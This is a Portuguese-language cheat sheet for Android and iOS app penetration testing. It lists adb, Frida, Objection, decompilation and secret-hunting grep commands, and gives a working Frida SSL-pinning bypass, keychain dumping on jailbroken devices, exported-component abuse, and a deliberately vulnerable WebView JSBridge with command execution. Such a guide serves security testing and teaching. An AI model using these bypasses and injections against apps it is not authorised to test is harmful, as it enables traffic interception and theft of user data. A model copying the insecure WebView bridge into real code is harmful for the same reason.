Mobile Security: Android e iOS

# Android Debug Bridge (adb)
adb devices  # Listar dispositivos conectados
adb shell    # Shell no dispositivo

# Emulador
# Android Studio → AVD Manager → Criar emulador
# Ou Genymotion

# Frida (hooking em runtime)
pip install frida-tools
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"
frida-ps -U  # Listar processos

# Objection (Frida wrapper)
pip install objection
objection -g com.target.app explore

# Decompilar APK
apktool d target.apk -o target_apk/
# Resultado: smali code, resources, AndroidManifest.xml

# Converter smali para Java (mais legível)
jadx -d target_java/ target.apk

# Procurar por vulnerabilidades no código
grep -r "http://" target_java/  # HTTP não criptografado
grep -r "password" target_java/  # Credenciais hardcoded
grep -r "api_key" target_java/   # API keys
grep -r "secret" target_java/    # Secrets
grep -r "token" target_java/     # Tokens
grep -r "SharedPreferences" target_java/  # Storage inseguro
grep -r "MODE_WORLD_READABLE" target_java/  # Permissões de arquivo

# AndroidManifest.xml — analisar:
cat target_apk/AndroidManifest.xml
# Procurar por:
# - android:debuggable="true"
# - android:allowBackup="true"
# - exported="true" em Activities/Services/Receivers
# - Permissões excessivas
# - Intent filters

# Network Security Config
cat target_apk/res/xml/network_security_config.xml
# Se existe: cleartextTrafficPermitted="true" → HTTP permitido

# Interceptação de tráfego HTTP/HTTPS
# 1. Instalar certificado Burp no emulador
# Settings → Security → Install from SD card → burp_cert.cer

# 2. Bypass certificate pinning com Frida
frida -U -f com.target.app -l sslpinning.js

# 3. sslpinning.js:
Java.perform(function() {
  var TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  var SSLContext = Java.use('javax.net.ssl.SSLContext');
  // Override trust manager para aceitar qualquer certificado
});

# Objection (automatizado)
objection -g com.target.app explore
android sslpinning disable

# Listar Activities exportadas
adb shell dumpsys package com.target.app | grep -i exported

# Intent hijacking
# Se Activity é exported sem permissão → qualquer app pode chamar
adb shell am start -n com.target.app/.SecretActivity

# Content Provider leak
# Se Content Provider é exported → ler/escrever dados
adb shell content query --uri content://com.target.app.provider/data

# Jailbroken device (recomendado) ou simulador
# Ferramentas: Cydia, Sileo → instalar:
# - Frida
# - SSL Kill Switch 2
# - Filza File Manager
# - Cycript

# Frida no iOS
frida-ps -U
frida -U -f com.target.app -l script.js

# Objection no iOS
objection -g com.target.app explore
ios sslpinning disable

# Extrair IPA (é um ZIP)
unzip target.ipa -d target_ipa/

# Binário Mach-O
file target_ipa/Payload/TargetApp.app/TargetApp
# Deve ser: Mach-O universal binary

# Strings no binário
strings target_ipa/Payload/TargetApp.app/TargetApp | grep -i "api\|key\|secret\|password\|token"

# Análise estática com class-dump
class-dump target_ipa/Payload/TargetApp.app/TargetApp

# Hopper disassembler (GUI)
# Ghidra (gratuito) ou IDA Pro (pago)

# Info.plist — configurações
plutil -convert xml1 -o - target_ipa/Payload/TargetApp.app/Info.plist
# Procurar por:
# - NSAppTransportSecurity → NSAllowsArbitraryLoads = YES
# - URL Schemes
# - Permissões

# Inseguro: dados em NSUserDefaults (plaintext)
# Inseguro: dados em SQLite sem criptografia
# Inseguro: plist files em Documents/
# Relativo: Keychain (protegido mas dump com jailbreak)

# Dump Keychain (jailbroken)
objection -g com.target.app explore
ios keychain dump

# Ler arquivos
objection -g com.target.app explore
ls /var/mobile/Containers/Data/Application/
cat /var/mobile/Containers/Data/Application/XXX/Documents/config.plist

# Android
1. SharedPreferences sem criptografia
2. SQLite databases em texto plano
3. Logs com dados sensíveis (adb logcat)
4. Backup habilitado (adb backup)
5. External storage (SD card)

# iOS
1. NSUserDefaults em texto plano
2. Core Data sem criptografia
3. Plist files acessíveis
4. Keychain sem proteção adequada
5. Cache de screenshots (app backgrounding)

# Android: Frida script
# ssl-pinning-bypass.js
Java.perform(function() {
  var OkHttpClient = Java.use("okhttp3.OkHttpClient$Builder");
  OkHttpClient.build.implementation = function() {
    return this.hostnameVerifier(function(hostname, session) {
      return true;
    }).build();
  };
});

# Android: Objection
objection -g com.target.app explore
android sslpinning disable

# iOS: SSL Kill Switch 2
# Instalar via Cydia

# iOS: Objection
ios sslpinning disable

# Alternativa: usar ProxyDroid/redsocks no Android rooted
# Configurar proxy transparente → Burp intercepta tudo

1. HTTP em vez de HTTPS
2. Custom TrustManager que aceita qualquer certificado
3. Certificate pinning ausente
4. HostnameVerifier que retorna true
5. Tráfego em texto plano em redes WiFi

# Android
1. Activities exported sem proteção
2. Broadcast Receivers sem permissão
3. Services exportados
4. Content Providers com dados sensíveis
5. WebView com JavaScript habilitado
   → addJavascriptInterface() → RCE (Android < 4.2)
   → setAllowFileAccess(true) → LFI

# iOS
1. URL Schemes sem validação
2. Universal Links sem verificação
3. Pasteboard exposto
4. Deep links sem autenticação

// Android WebView perigoso
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.addJavascriptInterface(new JSBridge(), "bridge");

// Se JSBridge tem métodos perigosos:
public class JSBridge {
  @JavascriptInterface
  public String executeCommand(String cmd) {
    return Runtime.getRuntime().exec(cmd);  // RCE
  }
}

// XSS em WebView
// Se carrega URLs externas sem validação:
webView.loadUrl("file:///data/data/com.app/secret.db");  // LFI
webView.loadUrl("javascript:bridge.executeCommand('id')");  // RCE

# Onde procurar:
1. API endpoints exclusivos do mobile
   → Decompile → encontrar URLs de API
   → Testar sem autenticação
   
2. Dados sensíveis no APK/IPA
   → API keys, secrets, URLs internas
   → Credenciais hardcoded
   
3. Broken auth no mobile
   → API sem token de autenticação
   → Token fixo hardcoded
   
4. Deep link abuse
   → Interceptar deep links
   → Redirecionar para phishing
   
5. Local data theft
   → Backup de app exposto
   → Dados em storage inseguro